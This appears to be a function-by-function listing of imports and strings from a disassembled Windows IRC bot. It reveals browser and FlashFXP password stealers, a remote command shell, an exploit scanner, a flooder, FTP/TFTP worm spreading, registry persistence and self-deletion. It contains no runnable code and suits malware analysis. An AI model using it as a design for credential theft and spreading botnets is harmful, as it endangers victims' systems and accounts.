sub_outside(): MSVCRT.memcpy MSVCRT.free MSVCRT.malloc KERNEL32.GetCurrentProcessId KERNEL32.GetModuleHandleA KERNEL32.GetModuleFileNameA MSVCRT._strcmpi KERNEL32.OpenProcess KERNEL32.ReadProcessMemory KERNEL32.Sleep KERNEL32.TerminateProcess KERNEL32.CloseHandle MSVCRT.clock KERNEL32.SearchPathA KERNEL32.CreatePipe KERNEL32.GetCurrentProcess KERNEL32.DuplicateHandle MSVCRT.memset KERNEL32.CreateProcessA KERNEL32.PeekNamedPipe KERNEL32.GetExitCodeProcess KERNEL32.ReadFile KERNEL32.DeleteFileA MSVCRT.fopen MSVCRT.fclose WS2_32.recv WS2_32.htonl MSVCRT.fwrite MSVCRT.ftell MSVCRT.strlen MSVCRT._mbscpy WS2_32.getsockname WS2_32.getnameinfo MSVCRT._itoa MSVCRT.fseek WS2_32.inet_addr MSVCRT.fread MSVCRT._strnicmp KERNEL32.CopyFileA NTDLL.RtlGetLastWin32Error MSVCRT.strstr KERNEL32.ExitProcess WS2_32.WSASetLastError MSVCRT.atoi WS2_32.htons WS2_32.gethostbyname WS2_32.inet_ntoa WS2_32.gethostbyaddr WS2_32.WSAGetLastError WS2_32.getservbyport MSVCRT._mbscat WS2_32.socket WS2_32.setsockopt MSVCRT.sprintf WS2_32.sendto MSVCRT.strncmp KERNEL32.GlobalMemoryStatus ADVAPI32.GetUserNameA KERNEL32.GetComputerNameA KERNEL32.GetVersionExA ADVAPI32.RegOpenKeyExA ADVAPI32.RegQueryValueExA ADVAPI32.RegCloseKey MSVCRT._snprintf WS2_32.getaddrinfo WS2_32.freeaddrinfo WININET.InternetGetConnectedStateEx KERNEL32.GetDriveTypeA KERNEL32.GetDiskFreeSpaceExA USER32.wsprintfA KERNEL32.IsBadCodePtr KERNEL32.LoadLibraryA KERNEL32.GetProcAddress MSVCRT.printf MSVCRT.sscanf WS2_32.bind WS2_32.closesocket WS2_32.select WS2_32.recvfrom WS2_32.shutdown MSVCRT.strcmp USER32.GetWindowTextA WS2_32.gethostname WS2_32.WSAIoctl KERNEL32.SetErrorMode KERNEL32.CreateMutexA WS2_32.WSAStartup |
sub_40447B(0011): WS2_32.ioctlsocket |
sub_401146(00cc): KERNEL32.SetFileAttributesA KERNEL32.DeleteFileA MSVCRT.strlen |
sub_414600(00db): MSVCRT.atoi MSVCRT.malloc MSVCRT.strncpy MSVCRT.memcpy |
sub_40D53F(0509): MSVCRT.sprintf MSVCRT._mbscat MSVCRT._vsnprintf MSVCRT.strlen "NOTICE %s :" "PRIVMSG %s :" "message " "\r\n" |
sub_4043E9(05b8): MSVCRT._mbscpy "Э" "80" |
sub_41673F(09bb): MSVCRT.fopen MSVCRT.fseek MSVCRT.ftell MSVCRT.fclose "rb" |
sub_40A1A7(0b5b): MSVCRT.malloc MSVCRT.memcpy MSVCRT._mbscpy MSVCRT.atoi KERNEL32.CreateThread MSVCRT.free KERNEL32.CloseHandle |
sub_41665C(0cdf): MSVCRT.malloc MSVCRT.atoi MSVCRT.memcpy |
sub_409C7A(0dba): NTDLL.RtlLeaveCriticalSection |
sub_409C6C(0dba): NTDLL.RtlEnterCriticalSection |
sub_4053B1(0dba): WS2_32.closesocket |
sub_40D4AB(1035): MSVCRT.sprintf MSVCRT._vsnprintf MSVCRT._mbscat MSVCRT.strlen "PRIVMSG %s :" "\r\n" |
sub_40260D(1182): MSVCRT.malloc MSVCRT.strncpy MSVCRT.memcpy |
sub_407ACA(11fc): MSVCRT.strlen MSVCRT._strnicmp |
sub_409226(1371): KERNEL32.QueryPerformanceCounter KERNEL32.QueryPerformanceFrequency MSVCRT.ceil MSVCRT._ftol KERNEL32.GetTickCount |
sub_40432E(13af): WS2_32.socket |
sub_415AF0(1472): MSVCRT.malloc "Internet explorer password stealer" "oA" |
sub_406D90(1503): MSVCRT._mbscpy MSVCRT.strlen MSVCRT.malloc KERNEL32.DeleteFileA KERNEL32.CreateFileA USER32.wsprintfA KERNEL32.WriteFile KERNEL32.CloseHandle ".bat" "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... "open" |
sub_4088FC(152c): MSVCRT._mbscpy MSVCRT._snprintf MSVCRT.strlen MSVCRT.clock MSVCRT._ftol "80" "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" |
sub_406B81(1758): KERNEL32.GetWindowsDirectoryA MSVCRT._mbscat KERNEL32.CreateFileA KERNEL32.GetFileTime KERNEL32.CloseHandle KERNEL32.SetFileTime "\\explorer.exe" |
sub_4018AF(191b): KERNEL32.Sleep MSVCRT.clock MSVCRT.sprintf |
sub_40E9C9(19ab): MSVCRT.strlen |
sub_4041B7(1b73): MSVCRT.strncmp "127." "172." "192.168." "10." |
sub_403FE5(1c3c): MSVCRT.malloc |
sub_4024F3(213d): MSVCRT.atoi MSVCRT.malloc MSVCRT.strncpy MSVCRT.memcpy |
sub_4064BF(2141): MSVCRT.malloc MSVCRT.memcpy |
sub_40538D(215d): WS2_32.shutdown KERNEL32.Sleep |
sub_4087C4(256f): MSVCRT.malloc |
sub_4092A4(29ef): KERNEL32.QueryPerformanceCounter KERNEL32.QueryPerformanceFrequency MSVCRT.ceil MSVCRT._ftol KERNEL32.GetTickCount |
sub_4102AE(2dd6): ADVAPI32.CryptAcquireContextA ADVAPI32.CryptGenRandom ADVAPI32.CryptReleaseContext "Fy.>KggG" |
sub_408887(31eb): "ݳ" |
sub_409C36(3457): MSVCRT.memset KERNEL32.InitializeCriticalSectionAndSpinCount KERNEL32.InitializeCriticalSection |
sub_412F07(34bf): MSVCRT.malloc MSVCRT.atoi MSVCRT._itoa |
sub_407F3D(3635): MSVCRT.sprintf "%s.%s.%s.%s" |
sub_407E0C(37d0): MSVCRT._itoa MSVCRT.atoi MSVCRT._mbscpy |
sub_40A8AD(3823): MSVCRT.strlen MSVCRT.tolower "abcdef" |
sub_404CBB(3da8): MSVCRT.free |
sub_4044F7(3f01): WS2_32.getpeername WS2_32.getnameinfo |
sub_401D39(4162): MSVCRT.strlen KERNEL32.WriteFile |
sub_406D47(470b): KERNEL32.GetModuleHandleA KERNEL32.GetModuleFileNameA KERNEL32.SetCurrentDirectoryA |
sub_40422A(484d): MSVCRT.atoi |
sub_416EAF(4878): MSVCRT._CxxThrowException |
sub_40F040(4949): MSVCRT.memmove MSVCRT._lrotr |
sub_406C51(4aab): ADVAPI32.RegCreateKeyExA KERNEL32.GetSystemDirectoryA MSVCRT._mbscat KERNEL32.lstrlen ADVAPI32.RegSetValueExA ADVAPI32.RegDeleteValueA ADVAPI32.RegCloseKey "Software\\Microsoft\\Windows\\CurrentVersi"... "\\" |
sub_404E1C(510f): WS2_32.select |
sub_40D043(5675): MSVCRT._mbscpy KERNEL32.GetVersionExA MSVCRT.sprintf "PASS %s" "USER %s %s %s :%s" "NICK %s" "UNK" "B" "A" "G" "%c%s%c%c%u%c%u%s%c%c%c" "#last" "#last" "NICK %s" |
sub_411BBC(5919): MSVCRT.memcpy MSVCRT.free MSVCRT._itoa "127.0.0.1" |
sub_410422(5969): MSVCRT.clock |
sub_4017AA(5a0a): MSVCRT.strlen MSVCRT.malloc MSVCRT.strncpy "Listing" "Killing" |
sub_416711(5c60): MSVCRT.fopen MSVCRT.fclose "rb" |
sub_413FE7(5e87): MSVCRT.malloc MSVCRT.memcpy "Attempting to exploit IP's in list." |
sub_4125DF(5f39): MSVCRT.memcpy |
sub_401000(60e1): MSVCRT._mbscpy ADVAPI32.RegOpenKeyExA ADVAPI32.RegEnumValueA ADVAPI32.RegDeleteValueA ADVAPI32.RegCloseKey |
sub_4053DC(60ec): WS2_32.WSASetLastError WS2_32.recv |
sub_406E8E(6297): KERNEL32.GetModuleHandleA KERNEL32.GetModuleFileNameA KERNEL32.GetSystemDirectoryA MSVCRT._mbscat MSVCRT._strcmpi KERNEL32.DeleteFileA KERNEL32.CopyFileA KERNEL32.SetFileAttributesA MSVCRT.memset KERNEL32.CreateProcessA WS2_32.WSACleanup MSVCRT.exit "\\" "\\" "packed.exe" "Windows DLL Loader" |
sub_407148(629b): KERNEL32.GetModuleHandleA KERNEL32.GetModuleFileNameA KERNEL32.GetSystemDirectoryA MSVCRT._mbscat MSVCRT._strcmpi WS2_32.WSACleanup KERNEL32.ExitProcess "\\" "packed.exe" "QUIT :%s uninstalled." "packed.exe" "Windows DLL Loader" "packed.exe" "QUIT :%s uninstalled." |
sub_409763(6316): KERNEL32.CloseHandle MSVCRT.memset |
sub_404FD0(640e): MSVCRT.free |
sub_404D10(64b3): MSVCRT.malloc |
sub_40EF59(6597): MSVCRT.memcpy MSVCRT._lrotl |
sub_4091E2(65f1): MSVCRT.malloc "Driveinfo thread" |
sub_404552(67ed): WS2_32.getsockname WS2_32.htons MSVCRT._itoa |
sub_4097A7(69ab): MSVCRT.atoi MSVCRT._snprintf "*%s*" |
sub_40938F(6a12): MSVCRT.malloc |
sub_41294E(6af9): MSVCRT.memcpy "ݯ" "ݯ" |
sub_41308F(6de7): WS2_32.recv MSVCRT.strstr MSVCRT._strnicmp MSVCRT.sscanf "OPTIONS / HTTP/1.0\r\n\r\n" "Server:" "Microsoft-IIS" "Microsoft-IIS/%u.%u" "Apache" "Apache/%u" "(Unix)" "(Win32)" |
sub_414EB0(6e80): MSVCRT.malloc "FlashFXP password stealer" |
sub_4147E5(6ee3): MSVCRT.sscanf "yA36zA48dEhfrvghGRg57h5UlDv3" "%02X" "%02X" "%02X" "yA36zA48dEhfrvghGRg57h5UlDv3" |
sub_404FE7(7226): MSVCRT.memset WS2_32.getaddrinfo WS2_32.socket WS2_32.connect WS2_32.WSAGetLastError WS2_32.freeaddrinfo |
sub_41417D(726a): MSVCRT.malloc "Listing exploit statistics" |
sub_4142BF(74ca): MSVCRT.atoi MSVCRT.malloc "80" |
sub_4167A0(7643): KERNEL32.DeleteFileA |
sub_412919(767f): WS2_32.recv |
sub_404612(76e6): WS2_32.getaddrinfo WS2_32.getnameinfo MSVCRT._mbscpy WS2_32.freeaddrinfo |
sub_404193(7992): MSVCRT._itoa |
sub_409318(7bc1): KERNEL32.QueryPerformanceCounter KERNEL32.QueryPerformanceFrequency MSVCRT.ceil MSVCRT._ftol KERNEL32.GetTickCount |
sub_40435B(7c06): "::1" |
sub_40D734(7c17): USER32.FindWindowA "mIRC" |
sub_404D9B(81c4): MSVCRT.memcpy |
sub_401D6E(859f): MSVCRT.malloc MSVCRT._mbscat "open" "Remote cmd thread" "\r\n" "Error while executing command." |
sub_401856(8604): KERNEL32.CloseHandle |
sub_4050EA(87ab): MSVCRT.memset WS2_32.getaddrinfo WS2_32.socket WS2_32.connect WS2_32.WSAGetLastError WS2_32.select WS2_32.freeaddrinfo |
sub_40F26E(88cb): MSVCRT.memset |
sub_40A50E(88d5): MSVCRT.malloc MSVCRT._mbscpy MSVCRT.memcpy |
sub_40CF2F(913e): MSVCRT._mbscpy "6667" |
sub_405F67(9314): MSVCRT.memset MSVCRT.memcpy |
sub_407928(94bd): MSVCRT.memset MSVCRT._mbscpy |
sub_405E45(94e4): MSVCRT.malloc MSVCRT.atoi "LG flooder" |
sub_408E4A(95bf): MSVCRT.malloc |
sub_40CEB0(975e): MSVCRT.malloc "Executing command(s): %s" |
sub_408808(983f): MSVCRT._mbscpy MSVCRT.clock "80" |
sub_415DFD(9871): MSVCRT.malloc "Listing interesting processes" |
sub_4124A0(987b): MSVCRT.memcpy WS2_32.inet_addr MSVCRT.atoi WS2_32.htons |
sub_404871(9b8d): MSVCRT.memcpy MSVCRT.free |
sub_403260(9c33): MSVCRT.malloc MSVCRT._mbscat ".exe" |
sub_404F24(9d8c): WS2_32.__WSAFDIsSet |
sub_412BC9(9dde): WS2_32.select WS2_32.shutdown KERNEL32.Sleep |
sub_40D7E5(9f9d): MSVCRT.strlen |
sub_408342(a362): KERNEL32.GetLocaleInfoA MSVCRT._strcmpi |
sub_40D420(a5e3): MSVCRT.sprintf MSVCRT._vsnprintf MSVCRT._mbscat MSVCRT.strlen "NOTICE %s :" "\r\n" |
sub_412720(a6d1): MSVCRT._mbscpy MSVCRT.memcpy ".exe" |
sub_4048EF(a995): WS2_32.__WSAFDIsSet WS2_32.accept WS2_32.select |
sub_4127D0(aca4): MSVCRT.strcmp MSVCRT.fopen MSVCRT.fread MSVCRT.fclose "rb" "packed.exe" |
sub_40F159(adbe): MSVCRT.memcpy |
sub_40449C(aeb4): WS2_32.getsockname WS2_32.getnameinfo |
sub_406643(b583): MSVCRT.atoi KERNEL32.GetCurrentProcessId KERNEL32.OpenProcess KERNEL32.TerminateProcess KERNEL32.CloseHandle |
sub_413AB0(b5b6): MSVCRT._mbscpy MSVCRT._strcmpi MSVCRT.atoi MSVCRT.malloc MSVCRT.memcpy "ݯ" "ݯ" |
sub_40CA29(b7e9): MSVCRT.strstr MSVCRT.sscanf MSVCRT.atoi MSVCRT._strcmpi ")" "&&" "%32s %16s %32s" "$uptime" "$version" "$free" "$latency" "$firewall" "$ipv6" "$uptime" "$version" "$free" "$latency" "$firewall" "$ipv6" "==" "!=" ">" ">=" "<=" "&&" |
sub_4148CE(b829): ADVAPI32.RegOpenKeyExA ADVAPI32.RegQueryValueExA ADVAPI32.RegCloseKey MSVCRT._mbscpy KERNEL32.GetEnvironmentVariableA MSVCRT._mbscat MSVCRT.fopen KERNEL32.GetDriveTypeA MSVCRT.sprintf "SOFTWARE\\Classes\\Applications\\FlashFXP."... "sites.dat" "ProgramFiles" "\\FlashFXP\\sites.dat" "rb" "%sFlashFXP\\sites.dat" "rb" |
sub_40546E(b8fe): WS2_32.select WS2_32.__WSAFDIsSet |
sub_40806A(b9eb): MSVCRT._mbscpy MSVCRT.sprintf "%s.%s.%s.%s" |
sub_40D6CB(ba86): MSVCRT._vsnprintf MSVCRT._mbscat MSVCRT.strlen "\r\n" |
sub_406CF8(ba88): MSVCRT.strlen |
sub_4078A0(bc64): MSVCRT.strlen |
sub_409BF1(bc92): MSVCRT.malloc MSVCRT.free |
sub_410318(bce2): MSVCRT.clock "Fy.>KggG" "Fy.>KggG" "Fy.>KggG" "Fy.>KggG" "Fy.>KggG" |
sub_4046BC(bcec): MSVCRT.malloc MSVCRT.memset WS2_32.getaddrinfo MSVCRT.free WS2_32.socket WS2_32.setsockopt WS2_32.bind WS2_32.listen WS2_32.freeaddrinfo |
sub_411D68(bd90): MSVCRT.malloc "FTP wormride thread" |
sub_40EC96(be71): MSVCRT.strlen |
sub_4123F6(bf6b): MSVCRT.malloc "TFTP wormride thread" |
sub_41043F(bfa2): MSVCRT.clock "Fy.>KggG" |
sub_410461(bfa2): MSVCRT.clock |
sub_410483(bfa2): MSVCRT.clock |
sub_40E618(c143): MSVCRT._strcmpi MSVCRT.strcmp "302" "PRIVMSG" "NOTICE" |
sub_406041(c2bf): MSVCRT.malloc MSVCRT.realloc MSVCRT.free MSVCRT.memset MSVCRT._mbscpy KERNEL32.OpenProcess KERNEL32.CloseHandle MSVCRT.strncpy MSVCRT.strlen "system" |
sub_40821B(c393): KERNEL32.Sleep |
sub_409CB1(c41b): MSVCRT.printf MSVCRT.memset NTDLL.RtlGetLastWin32Error "Could not get a valid ICMP handle\n" |
sub_409479(c505): MSVCRT.malloc MSVCRT._beginthreadex KERNEL32.CloseHandle MSVCRT.free |
sub_406A23(c753): KERNEL32.GetSystemDirectoryA MSVCRT._mbscat MSVCRT._mbscpy KERNEL32.DeleteFileA MSVCRT.fopen MSVCRT.fwrite MSVCRT.fclose "\\" ":)" |
sub_406509(ceef): MSVCRT.atoi MSVCRT.malloc KERNEL32.OpenProcess MSVCRT.free KERNEL32.ReadProcessMemory KERNEL32.CloseHandle |
sub_4098F3(d7a4): MSVCRT.atoi MSVCRT.memset KERNEL32.TerminateThread KERNEL32.CloseHandle MSVCRT._snprintf "*%s*" |
sub_405FA3(d81a): KERNEL32.LoadLibraryA KERNEL32.GetProcAddress "psapi.dll" "EnumProcessModules" "GetModuleFileNameExA" "GetModuleInformation" |
sub_404457(d81b): WS2_32.ioctlsocket |
sub_4077DD(d893): MSVCRT._itoa MSVCRT.malloc MSVCRT._mbscpy MSVCRT.memcpy |
sub_4045B2(db0b): WS2_32.getpeername WS2_32.htons MSVCRT._itoa |
sub_408E8E(e076): KERNEL32.GetDriveTypeA KERNEL32.GetDiskFreeSpaceExA MSVCRT.memset |
sub_402698(e10f): MSVCRT._snprintf MSVCRT.strlen MSVCRT.strstr MSVCRT.sscanf MSVCRT.fopen MSVCRT.fwrite MSVCRT.fclose KERNEL32.DeleteFileA "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" "\r\n\r\n" "Content-Length: %u\r\n" |
sub_41102F(e43a): MSVCRT.fopen MSVCRT.fread MSVCRT.fclose "rb" "packed.exe" |
sub_406722(e784): MSVCRT._strnicmp MSVCRT.strlen MSVCRT._mbscpy MSVCRT.memcpy ADVAPI32.RegOpenKeyExA MSVCRT.malloc ADVAPI32.RegQueryValueExA MSVCRT.sprintf MSVCRT._mbscat MSVCRT.free ADVAPI32.RegCloseKey "HKCR" "HKCU" "HKLM" "HKUS" "%s" "%08X" "%02X" "%s" "%s" |
sub_406AE7(f004): KERNEL32.GetSystemDirectoryA MSVCRT._mbscat MSVCRT._mbscpy MSVCRT.fopen MSVCRT.fclose "\\" "rb" |
sub_40D871(f33c): MSVCRT._strcmpi MSVCRT.strlen MSVCRT._mbscpy MSVCRT.memset MSVCRT.atoi MSVCRT.sprintf MSVCRT.strcmp KERNEL32.lstrcmp KERNEL32.GetVersionExA MSVCRT.strncpy MSVCRT.strstr MSVCRT._snprintf "PING" "PONG %s" "PONG" "MODE" "PRIVMSG" "SEND" "#last" "%u.%u.%u.%u" "eggdrop v1.6.16" "433" "UNK" "B" "A" "G" "%c%s%c%c%u%c%u%s%c%c%c" "NICK %s" "ERROR" "JOIN" "MODE %s +smntu" "001" "MODE %s +xi" "#last" "JOIN %s %s" "USERHOST %s" "USERHOST %s" "451" "302" "@" "NICK" "332" "][" "link!link@link PRIVMSG %s :%s" "][" "PRIVMSG" "NOTICE" "*" |
sub_40A9CF(f341): MSVCRT._mbscpy MSVCRT.memcpy USER32.GetForegroundWindow USER32.GetWindowTextA MSVCRT.strlen MSVCRT.strcmp ADVAPI32.RegOpenKeyExA ADVAPI32.RegCloseKey ADVAPI32.RegQueryValueExA MSVCRT.malloc MSVCRT.free MSVCRT.clock KERNEL32.Sleep MSVCRT.atoi MSVCRT._strcmpi KERNEL32.GetModuleHandleA KERNEL32.GetModuleFileNameA KERNEL32.ExitProcess WS2_32.getaddrinfo WS2_32.getnameinfo WS2_32.freeaddrinfo MSVCRT.memcmp MSVCRT.memset WS2_32.htons WS2_32.socket WS2_32.connect WS2_32.send WS2_32.closesocket MSVCRT._strnicmp "NICK %s" "NICK %s" "%s" "This build is fully functional" "This build is broken and will not funct"... "packed.exe" "packed.exe" "packed.exe" "It took me %ums." "packed.exe" "#last" "#last" "JOIN %s %s" "JOIN %s %s" "PART %s" "on" "off" "on" "MODE %s" "QUIT :exitting" "open" "QUIT :restarting" "QUIT :changing server" "2002" "9252" "%08X" "id" "username" |
sub_403BD3(f523): KERNEL32.LoadLibraryA KERNEL32.GetProcAddress "kernel32.dll" "InitializeCriticalSectionAndSpinCount" "netapi32.dll" "NetUseAdd" "NetUseDel" "NetUserEnum" "NetShareEnum" "NetRemoteTOD" "NetApiBufferFree" "NetScheduleJobAdd" "NetAddAlternateComputerName" "mpr.dll" "WNetAddConnection2A" "WNetAddConnection2W" "WNetCancelConnection2A" "WNetCancelConnection2W" "ws2_32.dll" "getaddrinfo" "getnameinfo" "freeaddrinfo" "pstorec.dll" "PStoreCreateInstance" "wininet.dll" "InternetGetConnectedStateExA" |
sub_4095A4(f614): MSVCRT.free MSVCRT.vsprintf MSVCRT._beginthreadex MSVCRT.memset |
sub_4103F5(f653): MSVCRT.clock |
sub_40D74D(f68e): KERNEL32.CreateFileMappingA KERNEL32.MapViewOfFile MSVCRT.sprintf USER32.SendMessageA KERNEL32.UnmapViewOfFile KERNEL32.CloseHandle "mIRC" |
sub_412A3A(f743): MSVCRT.memcpy MSVCRT.memset WS2_32.shutdown KERNEL32.Sleep |
sub_40A2D2(f744): USER32.wsprintfA MSVCRT.strlen MSVCRT.strcmp KERNEL32.Sleep "43" "%s\r\n" |
sub_4129CA(f764): MSVCRT._mbscpy "unknown" "#last" |
sub_40D366(f7df): KERNEL32.Sleep |
sub_411A09(f84c): MSVCRT.strcmp MSVCRT.sprintf MSVCRT.strlen "220" "USER 1\r\n" "331" "PASS 1\r\n" "230" |
sub_4053BF(f924): WS2_32.send |
sub_40636E(ffbf): MSVCRT.free |